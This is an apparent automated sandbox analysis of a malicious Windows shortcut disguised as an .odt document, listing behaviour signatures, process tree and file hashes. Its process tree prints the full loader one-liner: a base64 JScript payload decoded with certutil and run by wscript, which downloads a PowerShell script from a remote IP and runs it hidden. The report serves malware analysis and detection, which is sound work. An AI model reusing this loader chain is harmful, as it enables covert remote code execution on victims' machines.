Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/07/2026, 12:20

General

  • Target
    Programme.odt.lnk
  • Size 39KB
  • Sample260720-ph47ysb19s
  • SHA256 fa9bcb604351eeb749313878d7ad16d9100a87953c2fa9c40ce0c2f02827473c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Programme.odt.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9JbnZpdGF0aW9uX0F1Zy90ZXN0ZWRzaWRlYnVybnMucHMxIixmYWxzZSk7aC5zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50IiwiVUEgV2luZG93c1Bvd2VyU2hlbGwiKTtoLnNlbmQoKTtuZXcgQWN0aXZlWE9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUoInBvd2Vyc2hlbGwuZXhlIiwiLU5vUCAtVyBIaWRkZW4gLUMgIitoLnJlc3BvbnNlVGV4dCwiIiwib3BlbiIsMCk7 > FNSm.b64 && certutil -decode FNSm.b64 CcgyK.js >nul && wscript //b CcgyK.js && del FNSm.b64 CcgyK.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Windows\system32\certutil.exe
        certutil -decode FNSm.b64 CcgyK.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:3828
      • C:\Windows\system32\wscript.exe
        wscript //b CcgyK.js
        3⤵
        • Badlisted process makes network request
        PID:3300

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        CcgyK.js

        • Path C:\Users\Admin\AppData\Local\Temp\CcgyK.js
        • Size 312B
        • SHA256 8da82f0500f9ddd8a3ade9314d78971a8698364343566bbddfcdd54c80b24677
        • MD5 SHA1 SHA512 TLSH

        FNSm.b64

        • Path C:\Users\Admin\AppData\Local\Temp\FNSm.b64
        • Size 420B
        • SHA256 a25941626ba500f1cbb975c6c6a9ab70ad7fb5ed8f1ef250bd83e9c144f31cfb
        • MD5 SHA1 SHA512 TLSH